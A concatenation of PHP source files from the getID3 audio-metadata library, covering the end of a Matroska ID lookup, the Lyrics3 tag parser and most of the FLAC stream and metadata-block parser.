			$EBMLidList[EBML_ID_TAGNAME]                    = 'TagName';
			$EBMLidList[EBML_ID_TAGTRACKUID]                = 'TagTrackUID';
			$EBMLidList[EBML_ID_TAGS]                       = 'Tags';
			$EBMLidList[EBML_ID_TAGSTRING]                  = 'TagString';
			$EBMLidList[EBML_ID_TARGETS]                    = 'Targets';
			$EBMLidList[EBML_ID_TARGETTYPE]                 = 'TargetType';
			$EBMLidList[EBML_ID_TARGETTYPEVALUE]            = 'TargetTypeValue';
			$EBMLidList[EBML_ID_TIMECODESCALE]              = 'TimecodeScale';
			$EBMLidList[EBML_ID_TITLE]                      = 'Title';
			$EBMLidList[EBML_ID_TRACKENTRY]                 = 'TrackEntry';
			$EBMLidList[EBML_ID_TRACKNUMBER]                = 'TrackNumber';
			$EBMLidList[EBML_ID_TRACKOFFSET]                = 'TrackOffset';
			$EBMLidList[EBML_ID_TRACKOVERLAY]               = 'TrackOverlay';
			$EBMLidList[EBML_ID_TRACKS]                     = 'Tracks';
			$EBMLidList[EBML_ID_TRACKTIMECODESCALE]         = 'TrackTimecodeScale';
			$EBMLidList[EBML_ID_TRACKTRANSLATE]             = 'TrackTranslate';
			$EBMLidList[EBML_ID_TRACKTRANSLATECODEC]        = 'TrackTranslateCodec';
			$EBMLidList[EBML_ID_TRACKTRANSLATEEDITIONUID]   = 'TrackTranslateEditionUID';
			$EBMLidList[EBML_ID_TRACKTRANSLATETRACKID]      = 'TrackTranslateTrackID';
			$EBMLidList[EBML_ID_TRACKTYPE]                  = 'TrackType';
			$EBMLidList[EBML_ID_TRACKUID]                   = 'TrackUID';
			$EBMLidList[EBML_ID_VIDEO]                      = 'Video';
			$EBMLidList[EBML_ID_VOID]                       = 'Void';
			$EBMLidList[EBML_ID_WRITINGAPP]                 = 'WritingApp';
		}

		return (isset($EBMLidList[$value]) ? $EBMLidList[$value] : dechex($value));
	}

	/**
	 * @param int $value
	 *
	 * @return string
	 */
	public static function displayUnit($value) {
		// http://www.matroska.org/technical/specs/index.html#DisplayUnit
		static $units = array(
			0 => 'pixels',
			1 => 'centimeters',
			2 => 'inches',
			3 => 'Display Aspect Ratio');

		return (isset($units[$value]) ? $units[$value] : 'unknown');
	}

	/**
	 * @param array $streams
	 *
	 * @return array
	 */
	private static function getDefaultStreamInfo($streams)
	{
		$stream = array();
		foreach (array_reverse($streams) as $stream) {
			if ($stream['default']) {
				break;
			}
		}

		$unset = array('default', 'name');
		foreach ($unset as $u) {
			if (isset($stream[$u])) {
				unset($stream[$u]);
			}
		}

		$info = $stream;
		$info['streams'] = $streams;

		return $info;
	}

}
<?php

/////////////////////////////////////////////////////////////////
/// getID3() by James Heinrich <info@getid3.org>               //
//  available at https://github.com/JamesHeinrich/getID3       //
//            or https://www.getid3.org                        //
//            or http://getid3.sourceforge.net                 //
//  see readme.txt for more details                            //
/////////////////////////////////////////////////////////////////
///                                                            //
// module.tag.lyrics3.php                                      //
// module for analyzing Lyrics3 tags                           //
// dependencies: module.tag.apetag.php (optional)              //
//                                                            ///
/////////////////////////////////////////////////////////////////

if (!defined('GETID3_INCLUDEPATH')) { // prevent path-exposing attacks that access modules directly on public webservers
	exit;
}
class getid3_lyrics3 extends getid3_handler
{
	/**
	 * @return bool
	 */
	public function Analyze() {
		$info = &$this->getid3->info;

		// http://www.volweb.cz/str/tags.htm

		if (!getid3_lib::intValueSupported($info['filesize'])) {
			$this->warning('Unable to check for Lyrics3 because file is larger than '.round(PHP_INT_MAX / 1073741824).'GB');
			return false;
		}

		$this->fseek((0 - 128 - 9 - 6), SEEK_END);          // end - ID3v1 - "LYRICSEND" - [Lyrics3size]
		$lyrics3offset = null;
		$lyrics3version = null;
		$lyrics3size   = null;
		$lyrics3_id3v1 = $this->fread(128 + 9 + 6);
		$lyrics3lsz    = (int) substr($lyrics3_id3v1, 0, 6); // Lyrics3size
		$lyrics3end    = substr($lyrics3_id3v1,  6,   9); // LYRICSEND or LYRICS200
		$id3v1tag      = substr($lyrics3_id3v1, 15, 128); // ID3v1

		if ($lyrics3end == 'LYRICSEND') {
			// Lyrics3v1, ID3v1, no APE

			$lyrics3size    = 5100;
			$lyrics3offset  = $info['filesize'] - 128 - $lyrics3size;
			$lyrics3version = 1;

		} elseif ($lyrics3end == 'LYRICS200') {
			// Lyrics3v2, ID3v1, no APE

			// LSZ = lyrics + 'LYRICSBEGIN'; add 6-byte size field; add 'LYRICS200'
			$lyrics3size    = $lyrics3lsz + 6 + strlen('LYRICS200');
			$lyrics3offset  = $info['filesize'] - 128 - $lyrics3size;
			$lyrics3version = 2;

		} elseif (substr(strrev($lyrics3_id3v1), 0, 9) == strrev('LYRICSEND')) {
			// Lyrics3v1, no ID3v1, no APE

			$lyrics3size    = 5100;
			$lyrics3offset  = $info['filesize'] - $lyrics3size;
			$lyrics3version = 1;
			$lyrics3offset  = $info['filesize'] - $lyrics3size;

		} elseif (substr(strrev($lyrics3_id3v1), 0, 9) == strrev('LYRICS200')) {

			// Lyrics3v2, no ID3v1, no APE

			$lyrics3size    = (int) strrev(substr(strrev($lyrics3_id3v1), 9, 6)) + 6 + strlen('LYRICS200'); // LSZ = lyrics + 'LYRICSBEGIN'; add 6-byte size field; add 'LYRICS200'
			$lyrics3offset  = $info['filesize'] - $lyrics3size;
			$lyrics3version = 2;

		} else {

			if (isset($info['ape']['tag_offset_start']) && ($info['ape']['tag_offset_start'] > 15)) {

				$this->fseek($info['ape']['tag_offset_start'] - 15);
				$lyrics3lsz = $this->fread(6);
				$lyrics3end = $this->fread(9);

				if ($lyrics3end == 'LYRICSEND') {
					// Lyrics3v1, APE, maybe ID3v1

					$lyrics3size    = 5100;
					$lyrics3offset  = $info['ape']['tag_offset_start'] - $lyrics3size;
					$info['avdataend'] = $lyrics3offset;
					$lyrics3version = 1;
					$this->warning('APE tag located after Lyrics3, will probably break Lyrics3 compatability');

				} elseif ($lyrics3end == 'LYRICS200') {
					// Lyrics3v2, APE, maybe ID3v1

					$lyrics3size    = $lyrics3lsz + 6 + strlen('LYRICS200'); // LSZ = lyrics + 'LYRICSBEGIN'; add 6-byte size field; add 'LYRICS200'
					$lyrics3offset  = $info['ape']['tag_offset_start'] - $lyrics3size;
					$lyrics3version = 2;
					$this->warning('APE tag located after Lyrics3, will probably break Lyrics3 compatability');

				}

			}

		}

		if (isset($lyrics3offset) && isset($lyrics3version) && isset($lyrics3size)) {
			$info['avdataend'] = $lyrics3offset;
			$this->getLyrics3Data($lyrics3offset, $lyrics3version, $lyrics3size);

			if (!isset($info['ape'])) {
				if (isset($info['lyrics3']['tag_offset_start'])) {
					$GETID3_ERRORARRAY = &$info['warning'];
					getid3_lib::IncludeDependency(GETID3_INCLUDEPATH.'module.tag.apetag.php', __FILE__, true);
					$getid3_temp = new getID3();
					$getid3_temp->openfile($this->getid3->filename, $this->getid3->info['filesize'], $this->getid3->fp);
					$getid3_apetag = new getid3_apetag($getid3_temp);
					$getid3_apetag->overrideendoffset = $info['lyrics3']['tag_offset_start'];
					$getid3_apetag->Analyze();
					if (!empty($getid3_temp->info['ape'])) {
						$info['ape'] = $getid3_temp->info['ape'];
					}
					if (!empty($getid3_temp->info['replay_gain'])) {
						$info['replay_gain'] = $getid3_temp->info['replay_gain'];
					}
					unset($getid3_temp, $getid3_apetag);
				} else {
					$this->warning('Lyrics3 and APE tags appear to have become entangled (most likely due to updating the APE tags with a non-Lyrics3-aware tagger)');
				}
			}

		}

		return true;
	}

	/**
	 * @param int $endoffset
	 * @param int $version
	 * @param int $length
	 *
	 * @return bool
	 */
	public function getLyrics3Data($endoffset, $version, $length) {
		// http://www.volweb.cz/str/tags.htm

		$info = &$this->getid3->info;

		if (!getid3_lib::intValueSupported($endoffset)) {
			$this->warning('Unable to check for Lyrics3 because file is larger than '.round(PHP_INT_MAX / 1073741824).'GB');
			return false;
		}

		$this->fseek($endoffset);
		if ($length <= 0) {
			return false;
		}
		$rawdata = $this->fread($length);

		$ParsedLyrics3 = array();

		$ParsedLyrics3['raw']['lyrics3version'] = $version;
		$ParsedLyrics3['raw']['lyrics3tagsize'] = $length;
		$ParsedLyrics3['tag_offset_start']      = $endoffset;
		$ParsedLyrics3['tag_offset_end']        = $endoffset + $length - 1;

		if (substr($rawdata, 0, 11) != 'LYRICSBEGIN') {
			if (strpos($rawdata, 'LYRICSBEGIN') !== false) {

				$this->warning('"LYRICSBEGIN" expected at '.$endoffset.' but actually found at '.($endoffset + strpos($rawdata, 'LYRICSBEGIN')).' - this is invalid for Lyrics3 v'.$version);
				$info['avdataend'] = $endoffset + strpos($rawdata, 'LYRICSBEGIN');
				$rawdata = substr($rawdata, strpos($rawdata, 'LYRICSBEGIN'));
				$length = strlen($rawdata);
				$ParsedLyrics3['tag_offset_start'] = $info['avdataend'];
				$ParsedLyrics3['raw']['lyrics3tagsize'] = $length;

			} else {

				$this->error('"LYRICSBEGIN" expected at '.$endoffset.' but found "'.substr($rawdata, 0, 11).'" instead');
				return false;

			}

		}

		switch ($version) {

			case 1:
				if (substr($rawdata, strlen($rawdata) - 9, 9) == 'LYRICSEND') {
					$ParsedLyrics3['raw']['LYR'] = trim(substr($rawdata, 11, strlen($rawdata) - 11 - 9));
					$this->Lyrics3LyricsTimestampParse($ParsedLyrics3);
				} else {
					$this->error('"LYRICSEND" expected at '.($this->ftell() - 11 + $length - 9).' but found "'.substr($rawdata, strlen($rawdata) - 9, 9).'" instead');
					return false;
				}
				break;

			case 2:
				if (substr($rawdata, strlen($rawdata) - 9, 9) == 'LYRICS200') {
					$ParsedLyrics3['raw']['unparsed'] = substr($rawdata, 11, strlen($rawdata) - 11 - 9 - 6); // LYRICSBEGIN + LYRICS200 + LSZ
					$rawdata = $ParsedLyrics3['raw']['unparsed'];
					while (strlen($rawdata) > 0) {
						$fieldname = substr($rawdata, 0, 3);
						$fieldsize = (int) substr($rawdata, 3, 5);
						$ParsedLyrics3['raw'][$fieldname] = substr($rawdata, 8, $fieldsize);
						$rawdata = substr($rawdata, 3 + 5 + $fieldsize);
					}

					if (isset($ParsedLyrics3['raw']['IND'])) {
						$i = 0;
						$flagnames = array('lyrics', 'timestamps', 'inhibitrandom');
						foreach ($flagnames as $flagname) {
							if (strlen($ParsedLyrics3['raw']['IND']) > $i++) {
								$ParsedLyrics3['flags'][$flagname] = $this->IntString2Bool(substr($ParsedLyrics3['raw']['IND'], $i, 1 - 1));
							}
						}
					}

					$fieldnametranslation = array('ETT'=>'title', 'EAR'=>'artist', 'EAL'=>'album', 'INF'=>'comment', 'AUT'=>'author');
					foreach ($fieldnametranslation as $key => $value) {
						if (isset($ParsedLyrics3['raw'][$key])) {
							$ParsedLyrics3['comments'][$value][] = trim($ParsedLyrics3['raw'][$key]);
						}
					}

					if (isset($ParsedLyrics3['raw']['IMG'])) {
						$imagestrings = explode("\r\n", $ParsedLyrics3['raw']['IMG']);
						foreach ($imagestrings as $key => $imagestring) {
							if (strpos($imagestring, '||') !== false) {
								$imagearray = explode('||', $imagestring);
								$ParsedLyrics3['images'][$key]['filename']     =                                (isset($imagearray[0]) ? $imagearray[0] : '');
								$ParsedLyrics3['images'][$key]['description']  =                                (isset($imagearray[1]) ? $imagearray[1] : '');
								$ParsedLyrics3['images'][$key]['timestamp']    = $this->Lyrics3Timestamp2Seconds(isset($imagearray[2]) ? $imagearray[2] : '');
							}
						}
					}
					if (isset($ParsedLyrics3['raw']['LYR'])) {
						$this->Lyrics3LyricsTimestampParse($ParsedLyrics3);
					}
				} else {
					$this->error('"LYRICS200" expected at '.($this->ftell() - 11 + $length - 9).' but found "'.substr($rawdata, strlen($rawdata) - 9, 9).'" instead');
					return false;
				}
				break;

			default:
				$this->error('Cannot process Lyrics3 version '.$version.' (only v1 and v2)');
				return false;
		}


		if (isset($info['id3v1']['tag_offset_start']) && ($info['id3v1']['tag_offset_start'] <= $ParsedLyrics3['tag_offset_end'])) {
			$this->warning('ID3v1 tag information ignored since it appears to be a false synch in Lyrics3 tag data');
			unset($info['id3v1']);
			foreach ($info['warning'] as $key => $value) {
				if ($value == 'Some ID3v1 fields do not use NULL characters for padding') {
					unset($info['warning'][$key]);
					sort($info['warning']);
					break;
				}
			}
		}

		$info['lyrics3'] = $ParsedLyrics3;

		return true;
	}

	/**
	 * @param string $rawtimestamp
	 *
	 * @return int|false
	 */
	public function Lyrics3Timestamp2Seconds($rawtimestamp) {
		if (preg_match('#^\\[([0-9]{2}):([0-9]{2})\\]$#', $rawtimestamp, $regs)) {
			return (int) (($regs[1] * 60) + $regs[2]);
		}
		return false;
	}

	/**
	 * @param array $Lyrics3data
	 *
	 * @return bool
	 */
	public function Lyrics3LyricsTimestampParse(&$Lyrics3data) {
		$lyricsarray = explode("\r\n", $Lyrics3data['raw']['LYR']);
		$notimestamplyricsarray = array();
		foreach ($lyricsarray as $key => $lyricline) {
			$regs = array();
			unset($thislinetimestamps);
			while (preg_match('#^(\\[[0-9]{2}:[0-9]{2}\\])#', $lyricline, $regs)) {
				$thislinetimestamps[] = $this->Lyrics3Timestamp2Seconds($regs[0]);
				$lyricline = str_replace($regs[0], '', $lyricline);
			}
			$notimestamplyricsarray[$key] = $lyricline;
			if (isset($thislinetimestamps) && is_array($thislinetimestamps)) {
				sort($thislinetimestamps);
				foreach ($thislinetimestamps as $timestampkey => $timestamp) {
					if (isset($Lyrics3data['synchedlyrics'][$timestamp])) {
						// timestamps only have a 1-second resolution, it's possible that multiple lines
						// could have the same timestamp, if so, append
						$Lyrics3data['synchedlyrics'][$timestamp] .= "\r\n".$lyricline;
					} else {
						$Lyrics3data['synchedlyrics'][$timestamp] = $lyricline;
					}
				}
			}
		}
		$Lyrics3data['unsynchedlyrics'] = implode("\r\n", $notimestamplyricsarray);
		if (isset($Lyrics3data['synchedlyrics']) && is_array($Lyrics3data['synchedlyrics'])) {
			ksort($Lyrics3data['synchedlyrics']);
		}
		return true;
	}

	/**
	 * @param string $char
	 *
	 * @return bool|null
	 */
	public function IntString2Bool($char) {
		if ($char == '1') {
			return true;
		} elseif ($char == '0') {
			return false;
		}
		return null;
	}
}
<?php

/////////////////////////////////////////////////////////////////
/// getID3() by James Heinrich <info@getid3.org>               //
//  available at https://github.com/JamesHeinrich/getID3       //
//            or https://www.getid3.org                        //
//            or http://getid3.sourceforge.net                 //
//  see readme.txt for more details                            //
/////////////////////////////////////////////////////////////////
//                                                             //
// module.audio.flac.php                                       //
// module for analyzing FLAC and OggFLAC audio files           //
// dependencies: module.audio.ogg.php                          //
//                                                            ///
/////////////////////////////////////////////////////////////////

if (!defined('GETID3_INCLUDEPATH')) { // prevent path-exposing attacks that access modules directly on public webservers
	exit;
}
getid3_lib::IncludeDependency(GETID3_INCLUDEPATH.'module.audio.ogg.php', __FILE__, true);

/**
* @tutorial http://flac.sourceforge.net/format.html
*/
class getid3_flac extends getid3_handler
{
	const syncword = 'fLaC';

	/**
	 * @return bool
	 */
	public function Analyze() {
		$info = &$this->getid3->info;

		$this->fseek($info['avdataoffset']);
		$StreamMarker = $this->fread(4);
		if ($StreamMarker != self::syncword) {
			return $this->error('Expecting "'.getid3_lib::PrintHexBytes(self::syncword).'" at offset '.$info['avdataoffset'].', found "'.getid3_lib::PrintHexBytes($StreamMarker).'"');
		}
		$info['fileformat']            = 'flac';
		$info['audio']['dataformat']   = 'flac';
		$info['audio']['bitrate_mode'] = 'vbr';
		$info['audio']['lossless']     = true;

		// parse flac container
		return $this->parseMETAdata();
	}

	/**
	 * @return bool
	 */
	public function parseMETAdata() {
		$info = &$this->getid3->info;
		do {
			$BlockOffset   = $this->ftell();
			$BlockHeader   = $this->fread(4);
			$LBFBT         = getid3_lib::BigEndian2Int(substr($BlockHeader, 0, 1));  // LBFBT = LastBlockFlag + BlockType
			$LastBlockFlag = (bool) ($LBFBT & 0x80);
			$BlockType     =        ($LBFBT & 0x7F);
			$BlockLength   = getid3_lib::BigEndian2Int(substr($BlockHeader, 1, 3));
			$BlockTypeText = self::metaBlockTypeLookup($BlockType);

			if (($BlockOffset + 4 + $BlockLength) > $info['avdataend']) {
				$this->warning('METADATA_BLOCK_HEADER.BLOCK_TYPE ('.$BlockTypeText.') at offset '.$BlockOffset.' extends beyond end of file');
				break;
			}
			if ($BlockLength < 1) {
				if ($BlockTypeText != 'reserved') {
					// probably supposed to be zero-length
					$this->warning('METADATA_BLOCK_HEADER.BLOCK_LENGTH ('.$BlockTypeText.') at offset '.$BlockOffset.' is zero bytes');
					continue;
				}
				$this->error('METADATA_BLOCK_HEADER.BLOCK_LENGTH ('.$BlockLength.') at offset '.$BlockOffset.' is invalid');
				break;
			}

			$info['flac'][$BlockTypeText]['raw'] = array();
			$BlockTypeText_raw = &$info['flac'][$BlockTypeText]['raw'];

			$BlockTypeText_raw['offset']          = $BlockOffset;
			$BlockTypeText_raw['last_meta_block'] = $LastBlockFlag;
			$BlockTypeText_raw['block_type']      = $BlockType;
			$BlockTypeText_raw['block_type_text'] = $BlockTypeText;
			$BlockTypeText_raw['block_length']    = $BlockLength;
			if ($BlockTypeText_raw['block_type'] != 0x06) { // do not read attachment data automatically
				$BlockTypeText_raw['block_data']  = $this->fread($BlockLength);
			}

			switch ($BlockTypeText) {
				case 'STREAMINFO':     // 0x00
					if (!$this->parseSTREAMINFO($BlockTypeText_raw['block_data'])) {
						return false;
					}
					break;

				case 'PADDING':        // 0x01
					unset($info['flac']['PADDING']); // ignore
					break;

				case 'APPLICATION':    // 0x02
					if (!$this->parseAPPLICATION($BlockTypeText_raw['block_data'])) {
						return false;
					}
					break;

				case 'SEEKTABLE':      // 0x03
					if (!$this->parseSEEKTABLE($BlockTypeText_raw['block_data'])) {
						return false;
					}
					break;

				case 'VORBIS_COMMENT': // 0x04
					if (!$this->parseVORBIS_COMMENT($BlockTypeText_raw['block_data'])) {
						return false;
					}
					break;

				case 'CUESHEET':       // 0x05
					if (!$this->parseCUESHEET($BlockTypeText_raw['block_data'])) {
						return false;
					}
					break;

				case 'PICTURE':        // 0x06
					if (!$this->parsePICTURE()) {
						return false;
					}
					break;

				default:
					$this->warning('Unhandled METADATA_BLOCK_HEADER.BLOCK_TYPE ('.$BlockType.') at offset '.$BlockOffset);
			}

			unset($info['flac'][$BlockTypeText]['raw']);
			$info['avdataoffset'] = $this->ftell();
		}
		while ($LastBlockFlag === false);

		// handle tags
		if (!empty($info['flac']['VORBIS_COMMENT']['comments'])) {
			$info['flac']['comments'] = $info['flac']['VORBIS_COMMENT']['comments'];
		}
		if (!empty($info['flac']['VORBIS_COMMENT']['vendor'])) {
			$info['audio']['encoder'] = str_replace('reference ', '', $info['flac']['VORBIS_COMMENT']['vendor']);
		}

		// copy attachments to 'comments' array if nesesary
		if (isset($info['flac']['PICTURE']) && ($this->getid3->option_save_attachments !== getID3::ATTACHMENTS_NONE)) {
			foreach ($info['flac']['PICTURE'] as $entry) {
				if (!empty($entry['data'])) {
					if (!isset($info['flac']['comments']['picture'])) {
						$info['flac']['comments']['picture'] = array();
					}
					$comments_picture_data = array();
					foreach (array('data', 'image_mime', 'image_width', 'image_height', 'imagetype', 'picturetype', 'description', 'datalength') as $picture_key) {
						if (isset($entry[$picture_key])) {
							$comments_picture_data[$picture_key] = $entry[$picture_key];
						}
					}
					$info['flac']['comments']['picture'][] = $comments_picture_data;
					unset($comments_picture_data);
				}
			}
		}

		if (isset($info['flac']['STREAMINFO'])) {
			if (!$this->isDependencyFor('matroska')) {
				$info['flac']['compressed_audio_bytes'] = $info['avdataend'] - $info['avdataoffset'];
			}
			$info['flac']['uncompressed_audio_bytes'] = $info['flac']['STREAMINFO']['samples_stream'] * $info['flac']['STREAMINFO']['channels'] * ($info['flac']['STREAMINFO']['bits_per_sample'] / 8);
			if ($info['flac']['uncompressed_audio_bytes'] == 0) {
				return $this->error('Corrupt FLAC file: uncompressed_audio_bytes == zero');
			}
			if (!empty($info['flac']['compressed_audio_bytes'])) {
				$info['flac']['compression_ratio'] = $info['flac']['compressed_audio_bytes'] / $info['flac']['uncompressed_audio_bytes'];
			}
		}

		// set md5_data_source - built into flac 0.5+
		if (isset($info['flac']['STREAMINFO']['audio_signature'])) {

			if ($info['flac']['STREAMINFO']['audio_signature'] === str_repeat("\x00", 16)) {
				$this->warning('FLAC STREAMINFO.audio_signature is null (known issue with libOggFLAC)');
			}
			else {
				$info['md5_data_source'] = '';
				$md5 = $info['flac']['STREAMINFO']['audio_signature'];
				for ($i = 0; $i < strlen($md5); $i++) {
					$info['md5_data_source'] .= str_pad(dechex(ord($md5[$i])), 2, '00', STR_PAD_LEFT);
				}
				if (!preg_match('/^[0-9a-f]{32}$/', $info['md5_data_source'])) {
					unset($info['md5_data_source']);
				}
			}
		}

		if (isset($info['flac']['STREAMINFO']['bits_per_sample'])) {
			$info['audio']['bits_per_sample'] = $info['flac']['STREAMINFO']['bits_per_sample'];
			if ($info['audio']['bits_per_sample'] == 8) {
				// special case
				// must invert sign bit on all data bytes before MD5'ing to match FLAC's calculated value
				// MD5sum calculates on unsigned bytes, but FLAC calculated MD5 on 8-bit audio data as signed
				$this->warning('FLAC calculates MD5 data strangely on 8-bit audio, so the stored md5_data_source value will not match the decoded WAV file');
			}
		}

		return true;
	}


	/**
	 * @param string $BlockData
	 *
	 * @return array
	 */
	public static function parseSTREAMINFOdata($BlockData) {
		$streaminfo = array();
		$streaminfo['min_block_size']  = getid3_lib::BigEndian2Int(substr($BlockData, 0, 2));
		$streaminfo['max_block_size']  = getid3_lib::BigEndian2Int(substr($BlockData, 2, 2));
		$streaminfo['min_frame_size']  = getid3_lib::BigEndian2Int(substr($BlockData, 4, 3));
		$streaminfo['max_frame_size']  = getid3_lib::BigEndian2Int(substr($BlockData, 7, 3));

		$SRCSBSS                       = getid3_lib::BigEndian2Bin(substr($BlockData, 10, 8));
		$streaminfo['sample_rate']     = getid3_lib::Bin2Dec(substr($SRCSBSS,  0, 20));
		$streaminfo['channels']        = getid3_lib::Bin2Dec(substr($SRCSBSS, 20,  3)) + 1;
		$streaminfo['bits_per_sample'] = getid3_lib::Bin2Dec(substr($SRCSBSS, 23,  5)) + 1;
		$streaminfo['samples_stream']  = getid3_lib::Bin2Dec(substr($SRCSBSS, 28, 36));

		$streaminfo['audio_signature'] =                           substr($BlockData, 18, 16);

		return $streaminfo;
	}

	/**
	 * @param string $BlockData
	 *
	 * @return bool
	 */
	private function parseSTREAMINFO($BlockData) {
		$info = &$this->getid3->info;

		$info['flac']['STREAMINFO'] = self::parseSTREAMINFOdata($BlockData);

		if (!empty($info['flac']['STREAMINFO']['sample_rate'])) {

			$info['audio']['bitrate_mode']    = 'vbr';
			$info['audio']['sample_rate']     = $info['flac']['STREAMINFO']['sample_rate'];
			$info['audio']['channels']        = $info['flac']['STREAMINFO']['channels'];
			$info['audio']['bits_per_sample'] = $info['flac']['STREAMINFO']['bits_per_sample'];
			$info['playtime_seconds']         = $info['flac']['STREAMINFO']['samples_stream'] / $info['flac']['STREAMINFO']['sample_rate'];
			if ($info['playtime_seconds'] > 0) {
				if (!$this->isDependencyFor('matroska')) {
					$info['audio']['bitrate'] = (($info['avdataend'] - $info['avdataoffset']) * 8) / $info['playtime_seconds'];
				}
				else {
					$this->warning('Cannot determine audio bitrate because total stream size is unknown');
				}
			}

		} else {
			return $this->error('Corrupt METAdata block: STREAMINFO');
		}

		return true;
	}

	/**
	 * @param string $BlockData
	 *
	 * @return bool
	 */
	private function parseAPPLICATION($BlockData) {
		$info = &$this->getid3->info;

		$ApplicationID = getid3_lib::BigEndian2Int(substr($BlockData, 0, 4));
		$info['flac']['APPLICATION'][$ApplicationID]['name'] = self::applicationIDLookup($ApplicationID);
		$info['flac']['APPLICATION'][$ApplicationID]['data'] = substr($BlockData, 4);

		return true;
	}

	/**
	 * @param string $BlockData
	 *
	 * @return bool
	 */
	private function parseSEEKTABLE($BlockData) {
		$info = &$this->getid3->info;

		$offset = 0;
		$BlockLength = strlen($BlockData);
		$placeholderpattern = str_repeat("\xFF", 8);
		while ($offset < $BlockLength) {
			$SampleNumberString = substr($BlockData, $offset, 8);
			$offset += 8;
			if ($SampleNumberString == $placeholderpattern) {

				// placeholder point
				getid3_lib::safe_inc($info['flac']['SEEKTABLE']['placeholders'], 1);
				$offset += 10;

			} else {

				$SampleNumber                                        = getid3_lib::BigEndian2Int($SampleNumberString);
				$info['flac']['SEEKTABLE'][$SampleNumber]['offset']  = getid3_lib::BigEndian2Int(substr($BlockData, $offset, 8));
				$offset += 8;
				$info['flac']['SEEKTABLE'][$SampleNumber]['samples'] = getid3_lib::BigEndian2Int(substr($BlockData, $offset, 2));
				$offset += 2;

			}
		}

		return true;
	}

	/**
	 * @param string $BlockData
	 *
	 * @return bool
	 */
	private function parseVORBIS_COMMENT($BlockData) {
		$info = &$this->getid3->info;

		$getid3_ogg = new getid3_ogg($this->getid3);
		if ($this->isDependencyFor('matroska')) {
			$getid3_ogg->setStringMode($this->data_string);
		}
		$getid3_ogg->ParseVorbisComments();
		if (isset($info['ogg'])) {
			unset($info['ogg']['comments_raw']);
			$info['flac']['VORBIS_COMMENT'] = $info['ogg'];
			unset($info['ogg']);
		}

		unset($getid3_ogg);

		return true;
	}

	/**
	 * @param string $BlockData
	 *
	 * @return bool
	 */
	private function parseCUESHEET($BlockData) {
		$info = &$this->getid3->info;
		$offset = 0;
		$info['flac']['CUESHEET']['media_catalog_number'] =                              trim(substr($BlockData, $offset, 128), "\0");
		$offset += 128;
		$info['flac']['CUESHEET']['lead_in_samples']      =         getid3_lib::BigEndian2Int(substr($BlockData, $offset, 8));
		$offset += 8;
		$info['flac']['CUESHEET']['flags']['is_cd']       = (bool) (getid3_lib::BigEndian2Int(substr($BlockData, $offset, 1)) & 0x80);
		$offset += 1;

		$offset += 258; // reserved

		$info['flac']['CUESHEET']['number_tracks']        =         getid3_lib::BigEndian2Int(substr($BlockData, $offset, 1));
		$offset += 1;

		for ($track = 0; $track < $info['flac']['CUESHEET']['number_tracks']; $track++) {
			$TrackSampleOffset = getid3_lib::BigEndian2Int(substr($BlockData, $offset, 8));
			$offset += 8;
			$TrackNumber       = getid3_lib::BigEndian2Int(substr($BlockData, $offset, 1));
			$offset += 1;

			$info['flac']['CUESHEET']['tracks'][$TrackNumber]['sample_offset']         = $TrackSampleOffset;

			$info['flac']['CUESHEET']['tracks'][$TrackNumber]['isrc']                  =                           substr($BlockData, $offset, 12);
			$offset += 12;

			$TrackFlagsRaw                                                             = getid3_lib::BigEndian2Int(substr($BlockData, $offset, 1));
			$offset += 1;
			$info['flac']['CUESHEET']['tracks'][$TrackNumber]['flags']['is_audio']     = (bool) ($TrackFlagsRaw & 0x80);
			$info['flac']['CUESHEET']['tracks'][$TrackNumber]['flags']['pre_emphasis'] = (bool) ($TrackFlagsRaw & 0x40);

			$offset += 13; // reserved

			$info['flac']['CUESHEET']['tracks'][$TrackNumber]['index_points']          = getid3_lib::BigEndian2Int(substr($BlockData, $offset, 1));
			$offset += 1;

			for ($index = 0; $index < $info['flac']['CUESHEET']['tracks'][$TrackNumber]['index_points']; $index++) {
				$IndexSampleOffset = getid3_lib::BigEndian2Int(substr($BlockData, $offset, 8));
				$offset += 8;
				$IndexNumber       = getid3_lib::BigEndian2Int(substr($BlockData, $offset, 1));
				$offset += 1;

				$offset += 3; // reserved

				$info['flac']['CUESHEET']['tracks'][$TrackNumber]['indexes'][$IndexNumber] = $IndexSampleOffset;
			}
		}

		return true;
	}

	/**
	 * Parse METADATA_BLOCK_PICTURE flac structure and extract attachment
	 * External usage: audio.ogg
	 *
	 * @return bool
	 */
	public function parsePICTURE() {
		$info = &$this->getid3->info;

		$picture = array();
		$picture['typeid']         = getid3_lib::BigEndian2Int($this->fread(4));
		$picture['picturetype']    = self::pictureTypeLookup($picture['typeid']);
		$picture['image_mime']     = $this->fread(getid3_lib::BigEndian2Int($this->fread(4)));
		$descr_length              = getid3_lib::BigEndian2Int($this->fread(4));
		if ($descr_length) {
			$picture['description'] = $this->fread($descr_length);
		}
		$picture['image_width']    = getid3_lib::BigEndian2Int($this->fread(4));
		$picture['image_height']   = getid3_lib::BigEndian2Int($this->fread(4));
		$picture['color_depth']    = getid3_lib::BigEndian2Int($this->fread(4));
		$picture['colors_indexed'] = getid3_lib::BigEndian2Int($this->fread(4));
		$picture['datalength']     = getid3_lib::BigEndian2Int($this->fread(4));

		if ($picture['image_mime'] == '-->') {
			$picture['data'] = $this->fread($picture['datalength']);
		} else {
			$picture['data'] = $this->saveAttachment(
				str_replace('/', '_', $picture['picturetype']).'_'.$this->ftell(),
				$this->ftell(),
				$picture['datalength'],
				$picture['image_mime']);
		}

		$info['flac']['PICTURE'][] = $picture;

		return true;
	}

	/**
	 * @param int $blocktype
	 *
	 * @return string
	 */
	public static function metaBlockTypeLookup($blocktype) {
		static $lookup = array(
			0 => 'STREAMINFO',
			1 => 'PADDING',
			2 => 'APPLICATION',
			3 => 'SEEKTABLE',
			4 => 'VORBIS_COMMENT',
			5 => 'CUESHEET',
			6 => 'PICTURE',
		);
		return (isset($lookup[$blocktype]) ? $lookup[$blocktype] : 'reserved');
	}

	/**
	 * @param int $applicationid
	 *
	 * @return string
	 */
	public static function applicationIDLookup($applicationid) {
		// http://flac.sourceforge.net/id.html
		static $lookup = array(
			0x41544348 => 'FlacFile',                                                                           // "ATCH"
			0x42534F4C => 'beSolo',                                                                             // "BSOL"
			0x42554753 => 'Bugs Player',                                                                        // "BUGS"
			0x43756573 => 'GoldWave cue points (specification)',                                                // "Cues"
			0x46696361 => 'CUE Splitter',                                                                       // "Fica"
			0x46746F6C => 'flac-tools',                                                                         // "Ftol"
			0x4D4F5442 => 'MOTB MetaCzar',                                                                      // "MOTB"
			0x4D505345 => 'MP3 Stream Editor',                                                                  // "MPSE"
